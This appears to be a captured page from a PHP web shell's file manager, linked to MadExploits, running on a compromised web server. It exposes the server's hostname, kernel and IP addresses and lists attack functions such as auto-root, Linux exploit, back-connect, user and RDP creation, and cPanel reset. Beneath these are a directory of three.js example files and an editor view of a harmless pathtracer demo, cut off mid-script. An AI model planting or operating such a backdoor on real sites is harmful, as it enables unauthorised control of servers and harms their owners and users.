Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.15.3.153
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
files
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
ies
[ DIR ]
drwxr-xr-x
jsm
[ DIR ]
drwxr-xr-x
luts
[ DIR ]
drwxr-xr-x
models
[ DIR ]
drwxr-xr-x
new-gltf
[ DIR ]
drwxr-xr-x
screenshots
[ DIR ]
drwxr-xr-x
sounds
[ DIR ]
drwxr-xr-x
texture
[ DIR ]
drwxr-xr-x
textures
[ DIR ]
drwxr-xr-x
123.html
3.29
KB
-rw-r--r--
GLTF_test.zip
2.29
MB
-rw-r--r--
css2d_label.html
6.31
KB
-rw-r--r--
css3d_molecules.html
9.87
KB
-rw-r--r--
css3d_orthographic.html
6.88
KB
-rw-r--r--
css3d_periodictable.html
12.2
KB
-rw-r--r--
css3d_sandbox.html
6.42
KB
-rw-r--r--
css3d_sprites.html
5.12
KB
-rw-r--r--
css3d_youtube.html
3.29
KB
-rw-r--r--
files.json
11.63
KB
-rw-r--r--
games_fps.html
11.77
KB
-rw-r--r--
hdrnew.html
7.86
KB
-rw-r--r--
index.html
9.09
KB
-rw-r--r--
main.css
1.37
KB
-rw-r--r--
misc_animation_groups.html
3.7
KB
-rw-r--r--
misc_animation_keys.html
4.27
KB
-rw-r--r--
misc_boxselection.html
5.04
KB
-rw-r--r--
misc_controls_arcball.html
8.09
KB
-rw-r--r--
misc_controls_drag.html
4.98
KB
-rw-r--r--
misc_controls_fly.html
7.78
KB
-rw-r--r--
misc_controls_map.html
3.85
KB
-rw-r--r--
misc_controls_orbit.html
3.62
KB
-rw-r--r--
misc_controls_pointerlock.html
8.05
KB
-rw-r--r--
misc_controls_trackball.html
4.56
KB
-rw-r--r--
misc_controls_transform.html
5.73
KB
-rw-r--r--
misc_exporter_draco.html
4.16
KB
-rw-r--r--
misc_exporter_gltf.html
17.1
KB
-rw-r--r--
misc_exporter_obj.html
6.49
KB
-rw-r--r--
misc_exporter_ply.html
5.17
KB
-rw-r--r--
misc_exporter_stl.html
4.44
KB
-rw-r--r--
misc_exporter_usdz.html
4.96
KB
-rw-r--r--
misc_lookat.html
3.58
KB
-rw-r--r--
misc_uv_tests.html
2.34
KB
-rw-r--r--
physics_ammo_break.html
15.76
KB
-rw-r--r--
physics_ammo_cloth.html
13.12
KB
-rw-r--r--
physics_ammo_instancing.html
4.41
KB
-rw-r--r--
physics_ammo_rope.html
12.91
KB
-rw-r--r--
physics_ammo_terrain.html
12.16
KB
-rw-r--r--
physics_ammo_volume.html
13.8
KB
-rw-r--r--
physics_rapier_instancing.html
4.37
KB
-rw-r--r--
sandeep.html
2.75
KB
-rw-r--r--
sandeep1.html
3.13
KB
-rw-r--r--
svg_lines.html
2.93
KB
-rw-r--r--
svg_sandbox.html
6.9
KB
-rw-r--r--
tags.json
5.32
KB
-rw-r--r--
webaudio_orientation.html
5.34
KB
-rw-r--r--
webaudio_sandbox.html
8.14
KB
-rw-r--r--
webaudio_timing.html
5.07
KB
-rw-r--r--
webaudio_visualizer.html
3.9
KB
-rw-r--r--
webgl2_buffergeometry_attribut...
4.85
KB
-rw-r--r--
webgl2_buffergeometry_attribut...
4.08
KB
-rw-r--r--
webgl2_materials_texture2darra...
4.63
KB
-rw-r--r--
webgl2_materials_texture3d.htm...
6.02
KB
-rw-r--r--
webgl2_materials_texture3d_par...
10.18
KB
-rw-r--r--
webgl2_multiple_rendertargets....
6.86
KB
-rw-r--r--
webgl2_multisampled_renderbuff...
5.04
KB
-rw-r--r--
webgl2_rendertarget_texture2da...
7.43
KB
-rw-r--r--
webgl2_texture2darray_compress...
4.08
KB
-rw-r--r--
webgl2_ubo.html
9.17
KB
-rw-r--r--
webgl2_volume_cloud.html
8.54
KB
-rw-r--r--
webgl2_volume_instancing.html
6.44
KB
-rw-r--r--
webgl2_volume_perlin.html
6.62
KB
-rw-r--r--
webgl_animation_keyframes.html
3.51
KB
-rw-r--r--
webgl_animation_multiple.html
4.02
KB
-rw-r--r--
webgl_animation_skinning_addit...
9.97
KB
-rw-r--r--
webgl_animation_skinning_blend...
12.3
KB
-rw-r--r--
webgl_animation_skinning_ik.ht...
6.96
KB
-rw-r--r--
webgl_animation_skinning_morph...
6.33
KB
-rw-r--r--
webgl_buffergeometry.html
5.09
KB
-rw-r--r--
webgl_buffergeometry_compressi...
7.32
KB
-rw-r--r--
webgl_buffergeometry_custom_at...
4.31
KB
-rw-r--r--
webgl_buffergeometry_drawrange...
8.3
KB
-rw-r--r--
webgl_buffergeometry_glbuffera...
4.5
KB
-rw-r--r--
webgl_buffergeometry_indexed.h...
4.15
KB
-rw-r--r--
webgl_buffergeometry_instancin...
6.01
KB
-rw-r--r--
webgl_buffergeometry_instancin...
5
KB
-rw-r--r--
webgl_buffergeometry_instancin...
5.95
KB
-rw-r--r--
webgl_buffergeometry_lines.htm...
3.61
KB
-rw-r--r--
webgl_buffergeometry_lines_ind...
5.56
KB
-rw-r--r--
webgl_buffergeometry_points.ht...
3.27
KB
-rw-r--r--
webgl_buffergeometry_points_in...
4.1
KB
-rw-r--r--
webgl_buffergeometry_rawshader...
4.3
KB
-rw-r--r--
webgl_buffergeometry_selective...
6.07
KB
-rw-r--r--
webgl_buffergeometry_uint.html
5.29
KB
-rw-r--r--
webgl_camera.html
6.29
KB
-rw-r--r--
webgl_camera_array.html
3.91
KB
-rw-r--r--
webgl_camera_cinematic.html
5.93
KB
-rw-r--r--
webgl_camera_logarithmicdepthb...
10.65
KB
-rw-r--r--
webgl_clipping.html
5.59
KB
-rw-r--r--
webgl_clipping_advanced.html
10.17
KB
-rw-r--r--
webgl_clipping_intersection.ht...
3.94
KB
-rw-r--r--
webgl_clipping_stencil.html
8.36
KB
-rw-r--r--
webgl_custom_attributes.html
4.63
KB
-rw-r--r--
webgl_custom_attributes_lines....
4.79
KB
-rw-r--r--
webgl_custom_attributes_points...
4.6
KB
-rw-r--r--
webgl_custom_attributes_points...
6.67
KB
-rw-r--r--
webgl_custom_attributes_points...
7.33
KB
-rw-r--r--
webgl_decals.html
7.54
KB
-rw-r--r--
webgl_depth_texture.html
6.88
KB
-rw-r--r--
webgl_effects_anaglyph.html
3.82
KB
-rw-r--r--
webgl_effects_ascii.html
3.34
KB
-rw-r--r--
webgl_effects_parallaxbarrier....
3.85
KB
-rw-r--r--
webgl_effects_peppersghost.htm...
3.39
KB
-rw-r--r--
webgl_effects_stereo.html
3.83
KB
-rw-r--r--
webgl_framebuffer_texture.html
5.25
KB
-rw-r--r--
webgl_furnace_test.html
3.56
KB
-rw-r--r--
webgl_geometries.html
4.73
KB
-rw-r--r--
webgl_geometries_parametric.ht...
4.45
KB
-rw-r--r--
webgl_geometry_colors.html
6.12
KB
-rw-r--r--
webgl_geometry_colors_lookupta...
4.66
KB
-rw-r--r--
webgl_geometry_convex.html
4.01
KB
-rw-r--r--
webgl_geometry_csg.html
6.1
KB
-rw-r--r--
webgl_geometry_cube.html
1.93
KB
-rw-r--r--
webgl_geometry_dynamic.html
3.5
KB
-rw-r--r--
webgl_geometry_extrude_shapes....
4.61
KB
-rw-r--r--
webgl_geometry_extrude_splines...
9.55
KB
-rw-r--r--
webgl_geometry_minecraft.html
6.58
KB
-rw-r--r--
webgl_geometry_nurbs.html
6.75
KB
-rw-r--r--
webgl_geometry_shapes.html
13.05
KB
-rw-r--r--
webgl_geometry_spline_editor.h...
9.97
KB
-rw-r--r--
webgl_geometry_teapot.html
6.39
KB
-rw-r--r--
webgl_geometry_terrain.html
5.78
KB
-rw-r--r--
webgl_geometry_terrain_raycast...
6.73
KB
-rw-r--r--
webgl_geometry_text.html
8.16
KB
-rw-r--r--
webgl_geometry_text_shapes.htm...
3.92
KB
-rw-r--r--
webgl_geometry_text_stroke.htm...
4.07
KB
-rw-r--r--
webgl_gpgpu_birds.html
16.88
KB
-rw-r--r--
webgl_gpgpu_birds_gltf.html
20.35
KB
-rw-r--r--
webgl_gpgpu_protoplanet.html
14.05
KB
-rw-r--r--
webgl_gpgpu_water.html
19.73
KB
-rw-r--r--
webgl_helpers.html
4.25
KB
-rw-r--r--
webgl_instancing_dynamic.html
3.48
KB
-rw-r--r--
webgl_instancing_performance.h...
7
KB
-rw-r--r--
webgl_instancing_raycast.html
3.91
KB
-rw-r--r--
webgl_instancing_scatter.html
7.77
KB
-rw-r--r--
webgl_interactive_buffergeomet...
6.79
KB
-rw-r--r--
webgl_interactive_cubes.html
4.16
KB
-rw-r--r--
webgl_interactive_cubes_gpu.ht...
7.54
KB
-rw-r--r--
webgl_interactive_cubes_ortho....
4.46
KB
-rw-r--r--
webgl_interactive_lines.html
5.6
KB
-rw-r--r--
webgl_interactive_points.html
5.44
KB
-rw-r--r--
webgl_interactive_raycasting_p...
7.06
KB
-rw-r--r--
webgl_interactive_voxelpainter...
5.29
KB
-rw-r--r--
webgl_layers.html
4.22
KB
-rw-r--r--
webgl_lensflares.html
4.79
KB
-rw-r--r--
webgl_lightprobe.html
4.26
KB
-rw-r--r--
webgl_lightprobe_cubecamera.ht...
3.09
KB
-rw-r--r--
webgl_lights_hemisphere.html
6.72
KB
-rw-r--r--
webgl_lights_physical.html
8.57
KB
-rw-r--r--
webgl_lights_pointlights.html
3.97
KB
-rw-r--r--
webgl_lights_rectarealight.htm...
3.55
KB
-rw-r--r--
webgl_lights_spotlight.html
5.93
KB
-rw-r--r--
webgl_lights_spotlights.html
4.55
KB
-rw-r--r--
webgl_lines_colors.html
6.77
KB
-rw-r--r--
webgl_lines_dashed.html
4.2
KB
-rw-r--r--
webgl_lines_fat.html
7.6
KB
-rw-r--r--
webgl_lines_fat_raycasting.htm...
9.95
KB
-rw-r--r--
webgl_lines_fat_wireframe.html
6.51
KB
-rw-r--r--
webgl_loader_3dm.html
3.73
KB
-rw-r--r--
webgl_loader_3ds.html
2.73
KB
-rw-r--r--
webgl_loader_3mf.html
4.06
KB
-rw-r--r--
webgl_loader_3mf_materials.htm...
3.77
KB
-rw-r--r--
webgl_loader_amf.html
2.62
KB
-rw-r--r--
webgl_loader_bvh.html
2.79
KB
-rw-r--r--
webgl_loader_collada.html
2.98
KB
-rw-r--r--
webgl_loader_collada_kinematic...
4.3
KB
-rw-r--r--
webgl_loader_collada_skinning....
3.5
KB
-rw-r--r--
webgl_loader_draco.html
3.4
KB
-rw-r--r--
webgl_loader_fbx.html
3.96
KB
-rw-r--r--
webgl_loader_fbx_nurbs.html
2.45
KB
-rw-r--r--
webgl_loader_gcode.html
2.2
KB
-rw-r--r--
webgl_loader_gltf.html
3.16
KB
-rw-r--r--
webgl_loader_gltf_anisotropy.h...
3.3
KB
-rw-r--r--
webgl_loader_gltf_avif.html
2.84
KB
-rw-r--r--
webgl_loader_gltf_compressed.h...
3.89
KB
-rw-r--r--
webgl_loader_gltf_instancing.h...
3.37
KB
-rw-r--r--
webgl_loader_gltf_iridescence....
3.29
KB
-rw-r--r--
webgl_loader_gltf_lights.html
3.45
KB
-rw-r--r--
webgl_loader_gltf_sheen.html
3.43
KB
-rw-r--r--
webgl_loader_gltf_transmission...
3.74
KB
-rw-r--r--
webgl_loader_gltf_variants.htm...
5.19
KB
-rw-r--r--
webgl_loader_ifc.html
3.64
KB
-rw-r--r--
webgl_loader_imagebitmap.html
3.77
KB
-rw-r--r--
webgl_loader_kmz.html
2.51
KB
-rw-r--r--
webgl_loader_ldraw.html
9.59
KB
-rw-r--r--
webgl_loader_lwo.html
3.23
KB
-rw-r--r--
webgl_loader_md2.html
7.47
KB
-rw-r--r--
webgl_loader_md2_control.html
7.6
KB
-rw-r--r--
webgl_loader_mdd.html
2.47
KB
-rw-r--r--
webgl_loader_mmd.html
5.63
KB
-rw-r--r--
webgl_loader_mmd_audio.html
4.96
KB
-rw-r--r--
webgl_loader_mmd_pose.html
6.02
KB
-rw-r--r--
webgl_loader_nrrd.html
5.37
KB
-rw-r--r--
webgl_loader_obj.html
3.15
KB
-rw-r--r--
webgl_loader_obj_mtl.html
2.92
KB
-rw-r--r--
webgl_loader_pcd.html
2.7
KB
-rw-r--r--
webgl_loader_pdb.html
6.82
KB
-rw-r--r--
webgl_loader_ply.html
4.83
KB
-rw-r--r--
webgl_loader_stl.html
5.59
KB
-rw-r--r--
webgl_loader_svg.html
6.61
KB
-rw-r--r--
webgl_loader_texture_dds.html
7.62
KB
-rw-r--r--
webgl_loader_texture_exr.html
3.01
KB
-rw-r--r--
webgl_loader_texture_hdr.html
2.82
KB
-rw-r--r--
webgl_loader_texture_ktx.html
4.82
KB
-rw-r--r--
webgl_loader_texture_ktx2.html
5.13
KB
-rw-r--r--
webgl_loader_texture_logluv.ht...
2.57
KB
-rw-r--r--
webgl_loader_texture_lottie.ht...
3.57
KB
-rw-r--r--
webgl_loader_texture_pvrtc.htm...
6.04
KB
-rw-r--r--
webgl_loader_texture_rgbm.html
2.58
KB
-rw-r--r--
webgl_loader_texture_tga.html
3.32
KB
-rw-r--r--
webgl_loader_texture_tiff.html
2.86
KB
-rw-r--r--
webgl_loader_tilt.html
2.5
KB
-rw-r--r--
webgl_loader_ttf.html
6.52
KB
-rw-r--r--
webgl_loader_usdz.html
2.54
KB
-rw-r--r--
webgl_loader_vox.html
3.58
KB
-rw-r--r--
webgl_loader_vrml.html
3.59
KB
-rw-r--r--
webgl_loader_vtk.html
4.34
KB
-rw-r--r--
webgl_loader_xyz.html
2.53
KB
-rw-r--r--
webgl_lod.html
3.44
KB
-rw-r--r--
webgl_marchingcubes.html
9.15
KB
-rw-r--r--
webgl_materials_alphahash.html
5.33
KB
-rw-r--r--
webgl_materials_blending.html
4.85
KB
-rw-r--r--
webgl_materials_blending_custo...
6.94
KB
-rw-r--r--
webgl_materials_bumpmap.html
4.16
KB
-rw-r--r--
webgl_materials_car.html
6.29
KB
-rw-r--r--
webgl_materials_channels.html
8.87
KB
-rw-r--r--
webgl_materials_cubemap.html
4.33
KB
-rw-r--r--
webgl_materials_cubemap_dynami...
4.14
KB
-rw-r--r--
webgl_materials_cubemap_mipmap...
4.27
KB
-rw-r--r--
webgl_materials_cubemap_refrac...
4.4
KB
-rw-r--r--
webgl_materials_cubemap_render...
7.19
KB
-rw-r--r--
webgl_materials_curvature.html
9.61
KB
-rw-r--r--
webgl_materials_displacementma...
6.37
KB
-rw-r--r--
webgl_materials_envmaps.html
3.96
KB
-rw-r--r--
webgl_materials_envmaps_exr.ht...
5.37
KB
-rw-r--r--
webgl_materials_envmaps_ground...
5.49
KB
-rw-r--r--
webgl_materials_envmaps_hdr.ht...
6.46
KB
-rw-r--r--
webgl_materials_lightmap.html
3.28
KB
-rw-r--r--
webgl_materials_matcap.html
5.87
KB
-rw-r--r--
webgl_materials_modified.html
3.92
KB
-rw-r--r--
webgl_materials_normalmap.html
5.87
KB
-rw-r--r--
webgl_materials_normalmap_obje...
3.17
KB
-rw-r--r--
webgl_materials_physical_clear...
6.48
KB
-rw-r--r--
webgl_materials_physical_trans...
5.72
KB
-rw-r--r--
webgl_materials_physical_trans...
7.3
KB
-rw-r--r--
webgl_materials_subsurface_sca...
6.46
KB
-rw-r--r--
webgl_materials_texture_anisot...
5.58
KB
-rw-r--r--
webgl_materials_texture_canvas...
3.76
KB
-rwxr-xr-x
webgl_materials_texture_filter...
7.26
KB
-rw-r--r--
webgl_materials_texture_manual...
7.9
KB
-rw-r--r--
webgl_materials_texture_partia...
3.58
KB
-rw-r--r--
webgl_materials_texture_rotati...
4.47
KB
-rw-r--r--
webgl_materials_toon.html
5.31
KB
-rw-r--r--
webgl_materials_video.html
6.48
KB
-rw-r--r--
webgl_materials_video_webcam.h...
3.23
KB
-rw-r--r--
webgl_materials_wireframe.html
4.49
KB
-rw-r--r--
webgl_math_obb.html
5.97
KB
-rw-r--r--
webgl_math_orientation_transfo...
3.42
KB
-rw-r--r--
webgl_mirror.html
6.49
KB
-rw-r--r--
webgl_modifier_curve.html
5.2
KB
-rw-r--r--
webgl_modifier_curve_instanced...
5.92
KB
-rw-r--r--
webgl_modifier_edgesplit.html
4.98
KB
-rw-r--r--
webgl_modifier_simplifier.html
3.21
KB
-rw-r--r--
webgl_modifier_subdivision.htm...
9.14
KB
-rw-r--r--
webgl_modifier_tessellation.ht...
5.24
KB
-rw-r--r--
webgl_morphtargets.html
4.69
KB
-rw-r--r--
webgl_morphtargets_face.html
4.1
KB
-rw-r--r--
webgl_morphtargets_horse.html
3.42
KB
-rw-r--r--
webgl_morphtargets_sphere.html
3.75
KB
-rw-r--r--
webgl_morphtargets_webcam.html
8.23
KB
-rw-r--r--
webgl_multiple_elements.html
5.65
KB
-rw-r--r--
webgl_multiple_elements_text.h...
14.03
KB
-rw-r--r--
webgl_multiple_scenes_comparis...
4.07
KB
-rw-r--r--
webgl_multiple_views.html
7.91
KB
-rw-r--r--
webgl_nodes_loader_gltf_irides...
4.06
KB
-rw-r--r--
webgl_nodes_loader_gltf_sheen....
3.94
KB
-rw-r--r--
webgl_nodes_loader_gltf_transm...
4.76
KB
-rw-r--r--
webgl_nodes_loader_materialx.h...
5.02
KB
-rw-r--r--
webgl_nodes_materials_instance...
5.33
KB
-rw-r--r--
webgl_nodes_materials_physical...
7.05
KB
-rw-r--r--
webgl_nodes_materials_standard...
6.44
KB
-rw-r--r--
webgl_nodes_materialx_noise.ht...
4.91
KB
-rw-r--r--
webgl_nodes_points.html
5.31
KB
-rw-r--r--
webgl_panorama_cube.html
3.25
KB
-rw-r--r--
webgl_panorama_equirectangular...
4.94
KB
-rw-r--r--
webgl_pmrem_test.html
5.21
KB
-rw-r--r--
webgl_points_billboards.html
3.75
KB
-rw-r--r--
webgl_points_dynamic.html
9.66
KB
-rw-r--r--
webgl_points_sprites.html
5.52
KB
-rw-r--r--
webgl_points_waves.html
5.03
KB
-rw-r--r--
webgl_portal.html
8.85
KB
-rw-r--r--
webgl_postprocessing.html
3.44
KB
-rw-r--r--
webgl_postprocessing_3dlut.htm...
5.38
KB
-rw-r--r--
webgl_postprocessing_advanced....
10.76
KB
-rw-r--r--
webgl_postprocessing_afterimag...
3.05
KB
-rw-r--r--
webgl_postprocessing_backgroun...
6.59
KB
-rw-r--r--
webgl_postprocessing_crossfade...
9.41
KB
-rw-r--r--
webgl_postprocessing_dof.html
6.28
KB
-rw-r--r--
webgl_postprocessing_dof2.html
13.54
KB
-rw-r--r--
webgl_postprocessing_fxaa.html
5.16
KB
-rw-r--r--
webgl_postprocessing_glitch.ht...
4.06
KB
-rw-r--r--
webgl_postprocessing_godrays.h...
13.09
KB
-rw-r--r--
webgl_postprocessing_masking.h...
3.89
KB
-rw-r--r--
webgl_postprocessing_outline.h...
9.02
KB
-rw-r--r--
webgl_postprocessing_pixel.htm...
8.66
KB
-rw-r--r--
webgl_postprocessing_procedura...
4.52
KB
-rw-r--r--
webgl_postprocessing_rgb_halft...
6.75
KB
-rw-r--r--
webgl_postprocessing_sao.html
5.19
KB
-rw-r--r--
webgl_postprocessing_smaa.html
3.4
KB
-rw-r--r--
webgl_postprocessing_sobel.htm...
4.07
KB
-rw-r--r--
webgl_postprocessing_ssaa.html
7.09
KB
-rw-r--r--
webgl_postprocessing_ssao.html
4.35
KB
-rw-r--r--
webgl_postprocessing_ssr.html
8.76
KB
-rw-r--r--
webgl_postprocessing_taa.html
5.11
KB
-rw-r--r--
webgl_postprocessing_unreal_bl...
5.08
KB
-rw-r--r--
webgl_postprocessing_unreal_bl...
7.25
KB
-rw-r--r--
webgl_raycaster_bvh.html
8.08
KB
-rw-r--r--
webgl_raycaster_sprite.html
3.87
KB
-rw-r--r--
webgl_raycaster_texture.html
9.49
KB
-rw-r--r--
webgl_raymarching_reflect.html
8.31
KB
-rw-r--r--
webgl_read_float_buffer.html
5.8
KB
-rw-r--r--
webgl_refraction.html
5.16
KB
-rw-r--r--
webgl_renderer_pathtracer.html
14
KB
-rw-r--r--
webgl_rtt.html
6.31
KB
-rw-r--r--
webgl_shader.html
3.71
KB
-rw-r--r--
webgl_shader_lava.html
5.42
KB
-rw-r--r--
webgl_shaders_ocean.html
5.32
KB
-rw-r--r--
webgl_shaders_sky.html
4
KB
-rw-r--r--
webgl_shadow_contact.html
9.28
KB
-rw-r--r--
webgl_shadowmap.html
9.01
KB
-rw-r--r--
webgl_shadowmap_csm.html
7.91
KB
-rw-r--r--
webgl_shadowmap_pcss.html
8.55
KB
-rw-r--r--
webgl_shadowmap_performance.ht...
7.79
KB
-rw-r--r--
webgl_shadowmap_pointlight.htm...
4.73
KB
-rw-r--r--
webgl_shadowmap_progressive.ht...
8.24
KB
-rw-r--r--
webgl_shadowmap_viewer.html
6.06
KB
-rw-r--r--
webgl_shadowmap_vsm.html
6.35
KB
-rw-r--r--
webgl_shadowmesh.html
10.07
KB
-rw-r--r--
webgl_simple_gi.html
5.53
KB
-rw-r--r--
webgl_sprites.html
6.09
KB
-rw-r--r--
webgl_test_memory.html
2.52
KB
-rw-r--r--
webgl_test_memory2.html
3.41
KB
-rw-r--r--
webgl_test_wide_gamut.html
5.8
KB
-rw-r--r--
webgl_tonemapping.html
5.57
KB
-rw-r--r--
webgl_video_kinect.html
5.4
KB
-rw-r--r--
webgl_video_panorama_equirecta...
3.76
KB
-rw-r--r--
webgl_water.html
5.15
KB
-rw-r--r--
webgl_water_flowmap.html
3.7
KB
-rw-r--r--
webgl_worker_offscreencanvas.h...
2.88
KB
-rw-r--r--
webgpu_audio_processing.html
5.88
KB
-rw-r--r--
webgpu_backdrop.html
5.05
KB
-rw-r--r--
webgpu_backdrop_area.html
5.51
KB
-rw-r--r--
webgpu_clearcoat.html
6.75
KB
-rw-r--r--
webgpu_compute.html
5.61
KB
-rw-r--r--
webgpu_compute_particles.html
7.25
KB
-rw-r--r--
webgpu_compute_texture.html
3.45
KB
-rw-r--r--
webgpu_cubemap_adjustments.htm...
6.6
KB
-rw-r--r--
webgpu_cubemap_dynamic.html
4.93
KB
-rw-r--r--
webgpu_cubemap_mix.html
3.94
KB
-rw-r--r--
webgpu_depth_texture.html
3.66
KB
-rw-r--r--
webgpu_equirectangular.html
2.91
KB
-rw-r--r--
webgpu_instance_mesh.html
3.92
KB
-rw-r--r--
webgpu_instance_uniform.html
4.81
KB
-rw-r--r--
webgpu_lights_custom.html
4.62
KB
-rw-r--r--
webgpu_lights_ies_spotlight.ht...
4.47
KB
-rw-r--r--
webgpu_lights_phong.html
6
KB
-rw-r--r--
webgpu_lights_selective.html
6.5
KB
-rw-r--r--
webgpu_lines_fat.html
7.7
KB
-rw-r--r--
webgpu_loader_gltf.html
3.51
KB
-rw-r--r--
webgpu_loader_gltf_compressed....
3.08
KB
-rw-r--r--
webgpu_loader_gltf_iridescence...
3.58
KB
-rw-r--r--
webgpu_loader_gltf_sheen.html
3.89
KB
-rw-r--r--
webgpu_materials.html
11.81
KB
-rw-r--r--
webgpu_materials_video.html
6
KB
-rw-r--r--
webgpu_morphtargets.html
5.02
KB
-rw-r--r--
webgpu_multiple_rendertargets....
5.46
KB
-rw-r--r--
webgpu_occlusion.html
3.77
KB
-rw-r--r--
webgpu_particles.html
5.21
KB
-rw-r--r--
webgpu_rtt.html
3.52
KB
-rw-r--r--
webgpu_sandbox.html
7.03
KB
-rw-r--r--
webgpu_shadowmap.html
5.33
KB
-rw-r--r--
webgpu_skinning.html
2.76
KB
-rw-r--r--
webgpu_skinning_instancing.htm...
4.16
KB
-rw-r--r--
webgpu_skinning_points.html
2.93
KB
-rw-r--r--
webgpu_sprites.html
3.71
KB
-rw-r--r--
webgpu_tsl_editor.html
6.53
KB
-rw-r--r--
webgpu_video_panorama.html
4.06
KB
-rw-r--r--
webxr_ar_cones.html
2.68
KB
-rw-r--r--
webxr_ar_hittest.html
4.02
KB
-rw-r--r--
webxr_ar_lighting.html
4.65
KB
-rw-r--r--
webxr_ar_plane_detection.html
2.07
KB
-rw-r--r--
webxr_vr_handinput.html
4.47
KB
-rw-r--r--
webxr_vr_handinput_cubes.html
7.63
KB
-rw-r--r--
webxr_vr_handinput_pointerclic...
13.52
KB
-rw-r--r--
webxr_vr_handinput_pointerdrag...
15.09
KB
-rw-r--r--
webxr_vr_handinput_pressbutton...
15.38
KB
-rw-r--r--
webxr_vr_handinput_profiles.ht...
5.79
KB
-rw-r--r--
webxr_vr_layers.html
16.13
KB
-rw-r--r--
webxr_vr_panorama.html
3.3
KB
-rw-r--r--
webxr_vr_panorama_depth.html
3.75
KB
-rw-r--r--
webxr_vr_rollercoaster.html
6.01
KB
-rw-r--r--
webxr_vr_sandbox.html
7.58
KB
-rw-r--r--
webxr_vr_teleport.html
7.17
KB
-rw-r--r--
webxr_vr_video.html
3.82
KB
-rw-r--r--
webxr_xr_ballshooter.html
7.76
KB
-rw-r--r--
webxr_xr_cubes.html
7.67
KB
-rw-r--r--
webxr_xr_dragging.html
7.55
KB
-rw-r--r--
webxr_xr_haptics.html
7.94
KB
-rw-r--r--
webxr_xr_paint.html
5.19
KB
-rw-r--r--
webxr_xr_sculpt.html
5.56
KB
-rw-r--r--
x1.html
6.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webgl_renderer_pathtracer.html
<!DOCTYPE html> <html lang="en"> <head> <title>three.js webgl - three-gpu-pathtracer</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <link type="text/css" rel="stylesheet" href="main.css"> <style> body { color: #444; background-color: white; } a { color: #fb8c00; } .checkerboard { background-image: linear-gradient(45deg, #ddd 25%, transparent 25%), linear-gradient(-45deg, #ddd 25%, transparent 25%), linear-gradient(45deg, transparent 75%, #ddd 75%), linear-gradient(-45deg, transparent 75%, #ddd 75%); background-size: 20px 20px; background-position: 0 0, 0 10px, 10px -10px, -10px 0px; } .lil-gui .gui-render { line-height: var(--widget-height); padding: var(--padding); } </style> </head> <body> <div id="info"> <a href="https://threejs.org" target="_blank" rel="noopener">three.js</a> pathtracer - <a href="https://github.com/gkjohnson/three-gpu-pathtracer" target="_blank" rel="noopener">three-gpu-pathtracer</a><br/> See <a href="https://github.com/gkjohnson/three-gpu-pathtracer" target="_blank" rel="noopener">main project repository</a> for more information and examples on high fidelity path tracing. </div> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../build/three.module.js", "three/addons/": "./jsm/", "three/examples/": "./", "three-gpu-pathtracer": "https://unpkg.com/three-gpu-pathtracer@0.0.14/build/index.module.js", "three-mesh-bvh": "https://unpkg.com/three-mesh-bvh@0.6.0/build/index.module.js" } } </script> <script type="module"> import * as THREE from 'three'; import { GUI } from 'three/addons/libs/lil-gui.module.min.js'; import { OrbitControls } from 'three/addons/controls/OrbitControls.js'; import { RGBELoader } from 'three/addons/loaders/RGBELoader.js'; import { LDrawLoader } from 'three/addons/loaders/LDrawLoader.js'; import { LDrawUtils } from 'three/addons/utils/LDrawUtils.js'; import { FullScreenQuad } from 'three/addons/postprocessing/Pass.js'; import { PhysicalPathTracingMaterial, PathTracingRenderer, MaterialReducer, BlurredEnvMapGenerator, PathTracingSceneGenerator, GradientEquirectTexture } from 'three-gpu-pathtracer'; let progressBarDiv, samplesEl; let camera, scene, renderer, controls, gui; let pathTracer, sceneInfo, fsQuad, floor; let delaySamples = 0; const params = { enable: true, toneMapping: true, pause: false, tiles: 3, transparentBackground: false, resolutionScale: 1, download: () => { const link = document.createElement( 'a' ); link.download = 'pathtraced-render.png'; link.href = renderer.domElement.toDataURL().replace( 'image/png', 'image/octet-stream' ); link.click(); }, roughness: 0.15, metalness: 0.9, }; init(); render(); function init() { camera = new THREE.PerspectiveCamera( 45, window.innerWidth / window.innerHeight, 1, 10000 ); camera.position.set( 150, 200, 250 ); // initialize the renderer renderer = new THREE.WebGLRenderer( { antialias: true, preserveDrawingBuffer: true, premultipliedAlpha: false } ); renderer.setPixelRatio( window.devicePixelRatio ); renderer.setSize( window.innerWidth, window.innerHeight ); renderer.toneMapping = THREE.ACESFilmicToneMapping; renderer.setClearColor( 0xdddddd ); document.body.appendChild( renderer.domElement ); // initialize the pathtracer pathTracer = new PathTracingRenderer( renderer ); pathTracer.alpha = true; pathTracer.tiles.set( params.tiles, params.tiles ); pathTracer.material = new PhysicalPathTracingMaterial(); pathTracer.material.setDefine( 'FEATURE_MIS', 1 ); const gradientMap = new GradientEquirectTexture(); gradientMap.topColor.set( 0xeeeeee ); gradientMap.bottomColor.set( 0xeaeaea ); gradientMap.update(); pathTracer.material.backgroundMap = gradientMap; pathTracer.camera = camera; fsQuad = new FullScreenQuad( new THREE.MeshBasicMaterial( { map: pathTracer.target.texture, blending: THREE.CustomBlending } ) ); // scene scene = new THREE.Scene(); controls = new OrbitControls( camera, renderer.domElement ); controls.addEventListener( 'change', () => { delaySamples = 5; pathTracer.reset(); } ); window.addEventListener( 'resize', onWindowResize ); onWindowResize(); progressBarDiv = document.createElement( 'div' ); progressBarDiv.innerText = 'Loading...'; progressBarDiv.style.fontSize = '3em'; progressBarDiv.style.color = '#888'; progressBarDiv.style.display = 'block'; progressBarDiv.style.position = 'absolute'; progressBarDiv.style.top = '50%'; progressBarDiv.style.width = '100%'; 